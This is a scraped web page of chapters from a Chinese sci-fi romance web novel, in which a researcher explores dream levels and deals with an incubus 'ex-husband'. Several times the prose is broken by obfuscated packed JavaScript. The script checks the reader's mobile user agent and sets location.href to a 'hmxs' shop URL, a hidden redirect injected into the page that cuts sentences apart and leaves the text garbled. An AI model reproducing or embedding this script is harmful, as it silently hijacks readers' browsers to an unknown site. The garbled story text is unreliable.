这个时代居然有人还拿着菜谱做饭?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882918|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不应该是用终端……不对,用手机搜一搜嘛。 裴心念翻开了菜谱。 每一页都是手写的记录,记录了需要注意的用量、火候,每个流程的时间,有些同样的菜品根据细微差别分了好几种不同的款式,还附带成品的素描。 原来是手账性质的啊。 (本次梦境关卡解析进度99%,关键节点1/1) (正在传回数据中——) 怎么还是99%呢…… 裴心念思索着究竟还有什么地方没探索,舀了一勺苹果蛋糕,吹了几口气才咬下去。 甜甜的! 她的眼睛亮起来,厨子有听食客要求做饭,不错不错。 裴心念东吃一口西吃一口,直到厨房的推拉门被敲了两下。 隐约的人影在半透的门外徘徊。 她连忙放下手里的甜品,像被发现偷灯油的小老鼠,抱头鼠窜。 差点忘记还有1%的进度了! 门开了,“咚”地一声,她撞进荀行怀里。 裴心念仰起头,对方冷白的皮肤被撞红了一片。 没想到,这具跑圈都会晕倒的身体动能威力如此之大! “我——”荀行酝酿到一半的话被撞散。 (本次梦境关卡解析进度99.99%,关键节点1/1) 原来还得探索男主怀里啊。 裴心念被这梦境的小巧思弄得无话可说,抬手死死拽住荀行,不让他逃跑。 荀行的脸更红了。 他认命一般把头埋到她的颈窝,声音闷闷的。 “……喜欢你。” 她的心重重地跳了一拍。 香香甜甜的甜品气息包围着两人,相当应景。 (本次梦境关卡解析进度100%,关键节点1/1) 【任务完成】 6. 第 6 章 裴心念在实验室的休眠舱里缓了一会儿。 她懒得很,躺着就不想动。 为什么这次就能判定成功呢? 塞塔梦境可能是根据她的心率来计算心动程度的吧。 梦境里的两张帅脸在她眼前闪过,裴心念想了想,当时确实有点心动……吧。 直到舱门打开,另一张脸出现,重叠覆盖。 “醒了?”舱内灯被关掉。 熟悉的声音,虽然看不清,但化成灰她都知道是谁。 郁向晚,她的竹马、本项目的心理建模专员。 “这么快就出来了,我们念念可真是武德充沛。”他探进来的手一边把她扶起来些,一边帮她按揉发麻的后脑勺。 裴心念享受着力道正好的按摩,哼了一声表示自得,她就是这么厉害。 至于怎么成功的先别管。 她现在脑袋有点麻。 ——星际航行要躺在舱内好几年的话,在重力模拟环境中肯定会变成扁头。 她不说话,郁向晚也没有继续开口,什么也没问,只是在按揉的同时取来眼镜,给它的主人戴上。 这下她眼前的世界才回到正常的分辨率。 其实按如今的医疗水平,裴心念可以选择做对应的手术提升视力。 奈何她比较复古,觉得黑框眼镜代表了她的审美。 还有就是……她暂时还是个穷鬼。 郁向晚的白衬衫领口开了一个扣子,裴心念借他的力半靠在休眠舱的舱壁上,目光正正好落在敞开露出的锁骨处。 她晃了晃还没有完全清醒的脑袋,眨眨眼。 郁向晚是一丝不苟的人,正常情况下不会这么穿衣服。 实验室被炸了,还是boss给他派了十倍的活? “我向陈清泉申请了,等会儿你要去扫描室做全套的检查。”他伸手扯了一下自己的领子,把露出来的皮肤盖住。 “让我猜猜,什么伤都没有,对吗?” 裴心念老老实实地点头,对凑到鼻尖的脸坐怀不乱。 他眼角有好多红血丝啊。 郁向晚叹了一口气,“下次证明自己的时候可以稍微不要那么着急吗,啪叽一下晕过去真的很吓人。” “对不起……”裴心念小声道,“我当时也不能完全控制修改器。” 她抿唇观察了一番他的表情,知道他没有真的生气。 于是对数据的关切在她心里占了上风,“这次的数据传输情况怎么样了?” 郁向晚点开终端,投出的光幕在两人身侧浮现,有些地方还在急遽跳动,“千兆级别的数据流,从来没有过的成绩。” “陈清泉真该庆幸他把你破格招进来了。” “嘿嘿。”裴心念对此非常受用,“那当然了!等月底奖金发下来就请你吃饭。” “不如你自己先好好吃饱了。”郁向晚把她从休眠舱里捞出来,放到地上,“来中央星多久了,还是这么一点重。” 裴心念歪歪头,之前在梦境里一直存在的熟悉感又涌上来,这种相处模式就是贺静远对她的方式。 要说有不同,也就是一个内敛一个阳光,性格差异而已。 贺静远会对她表白,那他会吗? 她开始认真打量眼前这个人。 郁向晚的眼睛偏细长,唇角上翘,细细的银边镜框架在鼻梁上,现在眼尾红红的,很温良的样子。 “怎么了?” “在想你喜不喜欢我。”裴心念有话直说,她实在是对塞塔梦境对自己的特征认定很好奇。 “嗯?”郁向晚把眼睛都瞪圆了,没有防备,被一下抱了个严严实实。 裴心念张开手臂,掂量了一下手感,又看看在原地石化的人,最后放心地松手。 “没事,不是你。” 郁向晚难得表情错乱了一瞬,撇开脸,不太想直视眼前这个天天都在突发奇想的女孩。 “对了,你知道有哪家实验室的老板叫荀行吗?”裴心念验证完毕,想到那个摆在“卧室”的慕斯模型,还是有些耿耿于怀。 “……你说秘林科技的老总?”郁向晚把还亮着没关的终端切了个界面,弹出巨大的新闻标题,头版头条。 ——《上市科技公司总裁猝倒昏迷,塞塔梦境危险等级急需重新评定》。 配的图是一张正式资料照片,和梦境关卡里的荀行容貌重合,就是看起来更冷淡职业一些。 “你在塞塔梦境里遇到他了?” “应该是吧。” 裴心念正要讲讲自己的经历,休眠室的门被推开。 门口站着一位身穿蓝色医护服的女人。 “小谢姐姐!”裴心念对她挥挥手,示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882919|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己还能正常活动。 谢长亭快步走过来,简单检查了一遍她周身,小声八卦:“小念,你到底在塞塔梦境里一窝端掉了多少个据点?” “啊——”裴心念正在思考要不要有所保留,郁向晚在一旁咳了一声。 “先带她去检查,别的等情况确定了再说吧。” “好的。”谢长亭摸了摸裴心念的额头,本来她也只是看人没什么事才八卦一嘴,差点忘了伤患第一原则。 但是,这个活蹦乱跳脸色红润的小念怎么看都很健康吧! 至少比起进休眠舱之前熬夜加班黑眼圈的状态要好多了。 感觉做了个好梦呢。 检查确认没有神经性损伤后,裴心念把梦境里遇到可以优化的问题同步给了项目组,安排好任务。 然后她拉着郁向晚,下班回家。 现实世界现在是秋天,中央星的街景保留了旧时代的季节特征,有红透了的枫树闯入眼帘。 裴心念捡了片枫叶在手里,一边走一边问: “塞塔梦境里的NPC,心理建模都是从哪里来的呢?” 贺静远亮亮的眼睛又出现在她脑海中。 真的很像现实中会遇见的人呢。 “梦主是被临时拉入塞塔梦境域中的自然人,还有通过完成任务,脱离梦境的可能。” “至于NPC……目前有两种比较主流的假说。” “一是长期留在塞塔梦境中,无法完成任务会变成NPC;二是身体已经死去的意识体,可能被塞塔梦境的创造者缝合进了梦境。” 裴心念有些失落,或许贺静远已经死了。 “还有一种,是我们念念。”郁向晚拍了拍她的脑袋,语气轻松。 “而且这是目前唯一的真相。” “这倒是。”裴心念昂起脑袋,又被哄开心了。 她决定了,把进入塞塔梦境当做游戏,多见见不同的NPC。 只要不把这个当做工作,她还是很乐意去玩的。 一天后。 再次进入梦境的裴心念坐在公园长椅上,手中攥着终端。 黄昏的光线斜斜地打在她身前,终端上跳出信息。 【你用的洗衣液是什么?】 【没有别的意思,只是挺好闻的。】 备注是“跟鬼一样魅魔前夫”。 7. 第二关(1) 是某种修辞手法,还是真的魅魔品种啊? 裴心念盯着信息量巨大的八字备注,陷入沉思。 毕竟不是旧时代,有魔族好像很正常。 她很快在终端里输入: “你在哪儿?过来找我,具体气味当面描述一下。” 这话说得有点牵强,裴心念没修改措辞,怎么想的就怎么发了。 赶紧过来让她瞧一眼,好不好看,再涨点解析度。 一般来说,裴心念这种会影响到关卡形成的重要NPC,第一个见到的人物就是梦主。 梦主人在终端里没关系,喊过来就行了。 裴心念百无聊赖地盯着终端出神,她在等待对方发来消息问自己的位置。 但是,一分钟、五分钟、十分钟过去了,对面没有任何回应。 倒是修改器开始滴滴滴地传消息。 (本次梦境关卡解析进度20%、30%……) 裴心念震撼了。 哪里满减赠送的进度? 她站起身来,向四周环顾。 天上地下都是来来往往的轨道交通,忙碌又疲惫,透着一股死气。 这一带看起来治安堪忧,到处是被文明过分侵染后废弃处理的痕迹,以及充满攻击性的人群。 她身上的服装质感倒是很好,一身粉蓝色的小裙子,和周围的环境格格不入。 她是特地来这里找人的吗? 裴心念尝试性地向右边走了一段,然后向左边再折返。 速度故意放得很慢。 看起来迷茫无知,像一只误入狼群的羔羊。 已经有不怀好意的眼神投到了裴心念身上,但她不在意这个。 重要的是,修改器的解析进度有所变化。 往右走时,解析进度增加的速度几乎是左边的五倍。 裴心念扶了扶自己的眼镜,默默深吸了一口气。 她快步往右边小跑起来。 修改器上的数字飞快跳到了80%,而她也在一处暗巷的入口处看到了突兀出现的人物光标。 【蒋淮之】 简单,还不是让她找到了。 裴心念不急着上前,她有点累。 “呼呼——” 她弯腰喘气,刚才的速度超出了目前这个身体素质能承受的范围,休息一下。 终端还是没有消息,对方看起来像是不想理她的样子。 不过裴心念已经初步理解为什么备注写“像鬼一样”了,现在这个“前夫”是在跟踪她诶。 线上爱答不理,线下阴暗尾随。 这种人要是玩起来,反应会非常激烈吧。 裴心念腹诽着,余光看见有人不断向她靠近。 不是暗巷里的梦主,而是大街上的老鼠。 似乎是看她柔弱好欺负,却又衣着光鲜,想要做点什么。 【我要找她复合?】 【是的,这就是本次任务,请梦主努力攻略】 带着熟悉电流干扰的声音传来。 很好,这下百分之百可以确定是梦主了。 裴心念调转身体,故意背对不怀好意之人。 增强一下人家的信心,免得胆子小的不能陪她演完全场。 在对方离她10米时,她开始撕心裂肺地哀嚎。 “啊啊啊啊——” 她的声音本来很细弱,拼尽全力喊出来的几乎全是破音,分外凄厉。 裴心念努力续上自己的肺活量,眼前都有点发黑,看不清外界的情况。 好像有点过了。 “咚——!” 有什么重重砸到了地上。 “滚。”发哑的声音恶狠狠道。 反正不是让她滚吧。 裴心念停下自己的表演,慢悠悠地喘气调息。 她抬眼,一个顶着人物光标的长发男站在她身后。 刚才他从暗巷里冲出来,把不知好歹的人清理了。 看不太清楚脸呢。 裴心念熟练地往后倒去,伸手乱抓一通。 “你是谁,你不要过来呀!” 她趁乱往对方的胸前擂了好几十拳,以解不回消息之恨。 但是手感好好啊。 裴心念边打边偷偷抓了一把,弹弹的。 长发大扔男! 对方也没有还手,只是不停地在跟梦境系统刷新心声,速度之快,像极了刷屏的弹幕。 【之前局局都是大逃杀,现在老婆也揍我!】 【不对吧不对吧不对吧!】 【究竟要怎么做才能让我回去……】 裴心念警觉起来。 他在塞塔梦境里过了好几局? 有可能是郁向晚说的那种,即将被同化的NPC。 她的动作慢下来,被捉住手腕,又放开。 脚下躺着一名已经被揍晕过去的歹徒,疑似要在这里睡到明天天亮。 裴心念把视线从地上移开,去看始作俑者。 这次的梦主有一头海藻般的黑色长发,大概到齐肩的位置,稍有一些蜷曲。 蒋淮之的眼窝很深,像个混血儿,浅绿色的眼珠幽幽地注视她,有种说不出的幽怨意味。 白皙的脸上还出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882920|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不明的绯红。 视线往下看,他身上倒是包得严严实实,不过是用黑色高领毛衣完成的全覆盖。 肩宽腿长,身前起伏的曲线瞩目,也不知道是被放大了,还是被黑色小心地遮掩了些。 裴心念这下真是无比赞同那个备注。 又鬼又魅魔,一个字也没说错啊。 这次就这个了! “你……”她很快入戏,“怎么是你啊。” 她伸出一根食指,非常不满地戳在对方的胸膛上,“我差点以为自己被人尾随了呢。” 蒋淮之肉眼可见地颤了颤,可能是很心虚吧。 “你看见我的短讯了吗?”裴心念不放过他,继续问。 “嗯……刚看见。”蒋淮之的声音依旧是哑哑的,拖动高大的身躯,慢吞吞地离她更近了一点。 【好奇怪啊,魅魔体质真的会有影响吗?前面的关卡一点感觉都没有。】 【不一定,但梦主作为资格考试都没有通过的魅魔,在妻子面前这样很正常】 路灯亮起,洒下一片惨白的光。 咦,看着更像鬼缠上来了。 裴心念仰起头,总感觉有阴影投注在自己脸上。 【求复合这么丢脸的事,我不会做的。】 哎呀,又是一个很不乐意做任务的梦主呢。 裴心念忍住不让自己的微笑太嚣张。 她小声问:“所以,你想知道的是我现在衣服上这种洗衣液香味吗?” 蒋淮之皱眉,很纠结的模样。 “是吗?”裴心念眨眨眼。 “应该是吧。”绿眼睛泛起一丝波澜,蒋淮之错开视线不看她,在心里把塞塔梦境系统骂了一百遍。 【你出的什么馊主意,浪费我的积分!】 【……】 梦境系统好像懒得回他。 裴心念维持着无害的表情,暗自将梦主可以使用积分的事记下。 这倒是挺稀奇的,或许只在深陷其中的梦主身上出现,听起来积分可以兑换梦境系统的一些帮助。 “我记不清具体叫什么,得回家确认。” 裴心念弯了弯唇角,“你要跟我回去吗?” “我不——” 【提醒梦主,您目前没有住所】 蒋淮之把下半句话硬生生吞回了肚子里。 “可以吗?”他有些迟疑,黯然道,“当初让我走,不就是因为家里有另一只魅魔了。” “我跟你回去,不会打扰你们吧。” 裴心念瞳孔小幅度震了震。 这个前情提要,听起来好刺激啊。 8. 第二关(2) “只是去看看洗浴用品,不会打扰的。” 裴心念打算先稳住梦主。 毕竟她这个主人也不知道自己的家在哪里,又上哪里去知道现在家里有几只魅魔? 还是需要人带路的。 “……好吧。”蒋淮之看起来有些委屈,但不说。 他疯狂在心里叽叽喳喳。 【为什么不把那个小三赶出去啊!】 【讨厌讨厌讨厌讨厌……】 【关卡女主没有配合攻略的设置,请知悉】 裴心念安安静静地等着他在原地抓狂结束。 他的说话方式有点像她之前训练过的智械,不像社会化程度高的人类。 她很好奇,这个梦主身上究竟有什么样的背景剧情。 为什么他会被扔出去呢? 如果是她的话,两只魅魔就两只呗,也是赏心悦目,还能换换口味。 难道是这只魅魔吃太多了,给她造成压力才被请出去? 她瞄着对方接近两米的身高,默默想。 ——确实像是胃口很大的样子。 两人就这样在看似沉默的氛围中往前走了数十米。 当然,蒋淮之的心声太吵闹了,实则一点也不安静。 裴心念深吸一口气,她之前还觉得荀行话太少,现在倒好,两个极端都让她碰上了。 她们在空中轨道等待来车。 通过简单的套话,裴心念很快知道,她在这里很有钱。 家住上城区,出行会有专车接送。 衣着不菲,还养得起两只魅魔。 等到了家门口,她才知道远不止如此。 独栋小别墅,位置绝佳灯火通明,周围各种奇花异草环绕,还有衣着考究的管家来欢迎。 解析进度已经到了90%,她选择的方向没错。 “裴小姐。”看起来是管家的中年女子对她鞠躬。 裴心念笑眯眯地点点头。 啊,有钱真好。 如果能让她不再打工,住上这样的房子,她就是养十个蒋淮之这种魅魔也乐意啊。 “这位是要陪小姐一起进屋吗?” 与她度假一般的悠哉姿态不同,蒋淮之在踏入这里的第一时间就变得紧张,面对管家的询问,只是僵硬地点头。 裴心念微微侧过头看他,此魔无助但大只。 蒋淮之的心声也不响了,像是某种宠物闻到家里的其他味道,进入应激的状态。 她坏心眼地让出一个身位,示意蒋淮之走在前面,“你自己去找洗浴用品。” 要是遇到同岗竞争者了,她就能第一时间跟在后面看热闹。 蒋淮之应了一声,虽然没有多情愿,但听她的话。 “小姐。”身旁的管家跟上来,裴心念示意她小声一些。 “要把莱恩的房间收拾出来吗?”管家很有眼力见地压低声音,低声问。 这个莱恩应该就是另一只魅魔吧。 裴心念暗自思忖,听起来他不在家? 有点可惜。 “他什么时候回来?”她问。 一副理所当然的模样,任谁都察觉不出她其实对情况一无所知。 “莱恩昨天启程,学期结束应该是三个月后。” 哇,养魅魔还送他去读书。 她未免也太有慈善心了。 “收拾吧,给他睡。” 裴心念就这样热衷于拱火。 上通识课时她了解过一些魅魔的习性,似乎是对气味很敏感,有领地意识,除了营养液之外,需要以主人的体.液为食。 不知道蒋淮之在竞争者的房间里休息,会不会炸毛呢? “好的小姐。”管家领命去做事。 裴心念慢吞吞地跟上了前面的人。 这栋小别墅只有三层,但层高很可观,墙上做了繁复的装饰,整层近五百平米,不同分区之间错落有致,颇有种进艺术馆的错觉。 蒋淮之不太熟练地穿行,有时会停下来等裴心念。 他也是通过塞塔梦境的背景设定,才了解这个曾经的“家”,不过比两眼一抹黑的主人熟一些。 “找到了没有呀。”裴心念偏了偏脑袋,懒得跟着蒋淮之到处转悠,于是靠在门边,开始干扰他。 蒋淮之下意识摇头,又攥紧拳,停住了动作。 【好像在这间房里。恶心的气味,是那个见鬼的莱恩?】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882921|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你故意的,想留在这里不走吗?” 裴心念才不管他在心声里提出的发现,步步紧逼。 “没有!”蒋淮之急忙否认,“我找到了,就在这个房间里。” 这个人好像忘记了先前梦境系统是怎么劝说他过来的诶,他本来就是要找地方留宿好吧。 裴心念的脑子清晰得很,不像眼前的人,一逗就方寸大乱。 蒋淮之硬着头皮带她去看淋浴间的香氛。 不用仔细闻也知道,和她身上的味道如出一辙。 【为什么死小三的房间里有这个?】 蒋淮之的愤愤完全表现在脸上,毫不掩饰。 【一定是他不要脸地把主人的东西给藏起来了!】 在塞塔梦境里沉湎的时间过长,他的思维已经可悲地被魅魔设定同化了一部分。 裴心念看着他,小幅度地点点头,没想到不见面也能掐起来。 这么容易着急上火,一个魔就是一台戏诶。 “那这个送你了,应该可以在星网上买到,我没有订制沐浴香氛的习惯。”裴心念张口就来,欣赏着他脸上的表情,似乎快要找个地缝钻进去了。 “莱恩最近不在家,你就住在这里吧。你们都是魅魔,习惯应该差不多,有还需要的东西就来问我。”她轻声道。 “……” “不说话,那就当你同意了。” 裴心念退出房间,顺便把刚结束打扫的智械也拉出来,对蒋淮之挥挥手。 “时间不早了,你休息吧。” “别——”他下意识挽留。 “嗯?”裴心念在门边撤回一半的脑袋,盯着他看,眼睛里好像有一个大大的问号。 像是在问,喊住她干什么? “我,我很久没吃东西了。”他浅绿的眼睛哀哀地看她。 “很久是多久?” “从这里出去之后,一直都是营养液。” 【还有天杀的塞塔梦境积分换来的能量值。】 “哎呀,好可怜。” “再见面就要我资助你吃的和住的吗,你有一点没用哦。”裴心念柔柔责备的声音仿佛带着催眠的功效,对面的魅魔开始呼吸急促。 9. 第二关(3) 裴心念伸手摸了摸他发烫的颈侧,诱导道: “跟我说说发生了什么。” 现在他呆呆的,似乎进入了故障期,应该可以直接问。 身材高大的魅魔不受控制地弯下腰,借势抱住她。 整个魔像笼罩下来的黑云一样,怎么也不撒手。 修改器的解析进度在狂飙,可惜关键节点一直没有出现。 裴心念享受着被肌肉包裹的感觉,很舒适,就是略感窒息。 【贴着她,好开心。】 【她身上的味道比所有东西都好闻一万倍。】 【喜欢喜欢喜欢喜欢喜欢……】 啧,好吵。 “我怎么不要你的,你在外面做什么了。”裴心念被他弄得飘飘然起来,轻轻推了一把对方胸前,提醒这个被魅魔体质控制的梦主。 “养错了……本来就不要我。” 他恨恨道:“把我认成莱恩,三年才发现。” “他回来,主人就把我丢掉了。” 【然后去了该死的大逃杀。】 蒋淮之在心里默默补充。 原来是这样。 裴心念现在理解那个八字备注的全部意思了。 纯种魅魔,加上因为被抛弃而幽怨的男鬼。 “这样啊。那你讨厌我吗?” 蒋淮之停止了挨挨蹭蹭的嗅闻,诚实道: “讨厌。” 【而且还要攻略,可是一碰到她就什么都想不了。】 【我不会还要一直呆在这个破梦境里吧!】 裴心念闻言,推开了他。 “那你自己去厨房做点东西吃吧。” 她当然知道魅魔的食物和人类不同,只是不想让他吃饱而已。 不会讨好主人,当然没得吃。 蒋淮之眼巴巴地看着她离开。 刚才的挽留完全是因为本性被激发,他现在无法再来一次。 说什么也不能在尚有理智的时候乞求食物。 他烦躁地抓了一把长发,并没有出门去厨房,而是缩回了房间里。 尽管这里有他最讨厌的味道,可毕竟是主人安排的。 另一边,裴心念毫无心理负担地开始了她的房间游览。 刚才跟在蒋淮之身后,她就注意到了,除了那间有香氛的房间,他在另一个主卧前徘徊的时间最久。 小狗都会认主人的气息,这应该就是她的卧室。 她得享受一下梦境中短暂的有钱人生活啊。 裴心念拉开房门,蹬掉鞋子,在满地的皮毛地毯里助跑一小段,才看见里面一张柔软的大床。 这张床在屋里所占的空间很大,非常符合她能躺着就不坐着的风格。 屋里整体也是粉蓝的色调,没有任何工作的痕迹,天花板上是昂贵的光幕,不用起身也能看到各类信息。 主卧隔出了衣帽间和淋浴间,裴心念想了想,走向淋浴间,踩上备用的居家鞋。 这里难道没有她的那款沐浴香氛吗? 她上下左右搜索了一通,就差把浴缸掀起来了,也没看见任何踪影。 就连其他类型的沐浴用品也没有。 蒋淮之说得没错,可能就是被莱恩偷走放在自己那里的。 感觉养的两只魅魔都不太省心呢。 裴心念叹了一口气,看一眼修改器上的进度,95%。 抱也抱过了,还有什么地方没探索呢? 她想了想,没有头绪,于是喊来智械给自己送了洗浴套装,洗漱结束后躺回床上。 在梦境里面歇一歇也挺好的,何况是如此舒适的大床。 裴心念打了个滚,把毛茸茸的抱枕揽到怀里,决定暂时不管解析进度了。 反正她又没有必须完成什么的任务指标。 想怎么做就怎么做。 裴心念一直睡到了夜半。 门外有轻微的窸窣声。 这声音其实不大,但配合间歇传来的电流心声,就比较扰民了。 【她不会喜欢这种的吧!】 【不行不行,还是试一下。】 裴心念轻手轻脚来到门边,听得出来蒋淮之在门外非常焦躁,来回徘徊。 她歪头看了一眼手上的终端,走廊上人高马大的身影瞩目,偏偏垂着脑袋,丧气得很。 大晚上睡不着觉,不会是饿成的这幅样子吧? 裴心念点击终端,让智械送营养液来。 虽然谈恋爱很好玩,但她暂时还不想喂魅魔。 她下床走到门前,观察着蒋淮之的动静。 嗯,也没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882922|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么别的,就是团团转而已。 好像还在努力深呼吸? 【还是这里好闻。】 隔着墙也能闻到她吗?还是单纯的心理安慰? 裴心念秉持着逗狗要奖惩分明的原则,“哗啦”一下拉开了房门。 之前的教训给够了,这次来试试别的。 “晚上好?”裴心念凑到他跟前,努力仰起头来看人。 这实在是她最大的诚意了,踮脚抬头也是很累的。 蒋淮之僵住,迟疑道:“对不起,我吵到你了吗……” “没吃饭?”裴心念抓了一把他的长发,把人拽低了一点,这样方便说话。 “我吃不了别的。”蒋淮之声音沙哑,顺从着弯下腰。 “等下会有营养液送过来。”裴心念小声道,感觉自己快要被对方过于高的体温烫熟了。 “……嗯。”蒋淮之侧过脸,在她小小的掌心蹭了蹭。 “那间屋子我住不了,可以让我进来吗?” “为什么不能住?” “味道太大了。”蒋淮之脸上闪过厌恶,“连我的项链也变成他的了。” 裴心念无辜地眨眨眼。 什么项链,她不知道啊。 蒋淮之扯了扯自己的黑色高领,把脖颈上的银色饰品露了出来。 走廊的小灯打在上面,金属环反射出泠泠的水色。 裴心念伸手去碰,发现上面还有细小的水珠。 “我用主人的香氛洗了很多遍。” 蒋淮之幽幽道,绿色的眼睛里渗出森冷的寒意,总觉得马上就能把他想象中的竞争者咬死。 裴心念打了个冷战,从指尖到后背都凉飕飕的。 人类果然不能在塞塔梦境里被放逐太久。 已经快要被野兽同化了不是吗? 她摸了摸男人宝贝至极的项圈,指腹擦到下边的皮肤,激起一阵战栗。 “营养液已送达。” 智械将吩咐的物品放在门口,裴心念指使蒋淮之去取。 她反正是一根手指都不想动。 对方拿好了营养液袋子,一动不动,像座山一样杵在她面前,没有挪步离开的意思。 “好吧,那你跟我来。” 裴心念拽着魅魔脖子上的项圈,关上门。 10. 第二关(4) 裴心念看看跪倒在地的蒋淮之,又看看自己的手。 她没怎么用力气啊。 好柔弱的魔。 “你怎么了?”裴心念蹲下来看他,探了探他的心跳。 随着柔软弧度同时起伏的心跳很重,但趋向于错乱的狂跳。 “你有基础病吗?”她担忧地问,这该不会是塞塔梦境带来的负面影响吧。 如果在塞塔梦境滞留真的影响身体,那她还是早日别干,换个方式打工好了。 研究数据固然重要,她的小命更是可贵。 蒋淮之对她忧心忡忡的反应理解有些许偏差,顿了顿,表情别扭。 “没有,只是饿了,不用担心我。” ……其实她也没有那么在意他本人。 裴心念抿了抿唇,对他伸出一只手,把魔拉起来。 粗糙干燥的大手包裹着她有点凉的手掌,她动了动指尖,感觉到茧的存在,还有一些浅浅的疤痕。 裴心念轻轻地呼了一口气。 还好她没生成什么大逃杀关卡来当NPC,不然也太遭罪了。 “既然这样,那我暂时允许你在床上躺着。” 她抬了抬下巴,“但是不许动手动脚。” 蒋淮之这会儿倒是乖得很,一一应下,并且强烈要求先去洗个澡再过来,免得弄脏她的床。 裴心念翻了个身,隐隐约约在床边看到一团黑乎乎的人影,蜷缩起来,可怜兮兮的。 真是魅魔做派,手段了得。 她在心底哼了一声,慢吞吞蠕动过去。 “营养液喝了吗?” “喝了。”蒋淮之此时的声音已经减弱到和裴心念差不多,颤颤巍巍的。 【好香好香好香。】 【为什么越来越饿了……】 他一刻不停的心声有点吵,裴心念又默默挪回了原地,离远了点。 “你就在这里睡,不能过来。” 蒋淮之低低地“嗯”了一声,然后真的就这样在床边维持了整整一夜。 直到第二天早上,裴心念是被塞塔梦境的播报声吵醒的。 【梦主本次肉身死亡】 【第一次任务失败】 醒来她又坐在公园的长椅上,手上拿着终端,冷风吹来,吹得她一激灵。 蒋淮之死了? 没等她想清楚这是怎么一回事,修改器也同时发回信息。 (本次梦境解析进度99%,关键节点1/1) (关键节点辅助:使梦主肉身活过关卡中的一天。) 怎么死的,难道是活活给饿死的吗? 裴心念难以置信。 那么大只魔,主人就在旁边,连饿死前自助也不会吗。 哦,她好像说了不许动来着。 裴心念这次没有急着在终端上给蒋淮之发消息,而是开始仔细评估自己能否接受吃掉魅魔。 最后的结论是,最多啃两口。 此魔固然好看,但和她不熟啊。 她在长椅上托着腮,脑中飞快地闪过各种解决问题的方法。 该怎么让他维持一天的饱腹感,又不会委屈自己呢? 裴心念望了一眼对面高楼上的广告,应该是某商场的位置。 很轻易地,她脑袋上冒出一个大大的叹号。 可以一起去吃通宵的饭呀! 严格看护,还可以让他吃饱。 她从长椅上“噌”地站起来,避开路过的不怀好意者。 三角眼、尖嘴猴腮,这位好像就是上周目被蒋淮之打倒在地的歹徒吧。 裴心念眯了眯眼,若无其事地伸手进自己的随身小包。 然后她路过了对方,不出所料见到一张变得狰狞的脸。 “你这——”歹徒的手还没碰到她,就已经说不出话,趔趄倒地。 裴心念握住特制手枪,拍了拍自己浅蓝色的裙摆,轻飘飘地转身离开。 一个有钱人来下城区,怎么也不应该毫无防备嘛。 要是每次都等着男主来救,那也太傻了。 她很顺利地遇见了蒋淮之。 不同于上一周目的是,这人在暗巷口大喇喇地站着,气喘吁吁眼神警惕,搞得没有别人敢往这条路上走。 见到裴心念,他还特意绕到她身后,四周检视了一圈,确认没有歹徒,才松了一口气。 裴心念有些意外。 按蒋淮之的性格,居然见到她第一面,不是在心里疯狂吐槽上一周目让他饿死的事吗? 混有干扰的心声此刻也像上一关一样,不太清晰。 【这次……投到那么远……差点来不及跑到这里。】 原来他也被随机位置了啊。 “好久不见。”裴心念轻声问候,打算重新开演。 然而业务不熟练的蒋淮之根本不配合。 “有人欺负你吗?”他的手在将要碰到她时收了回去,好看的绿眼睛满是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 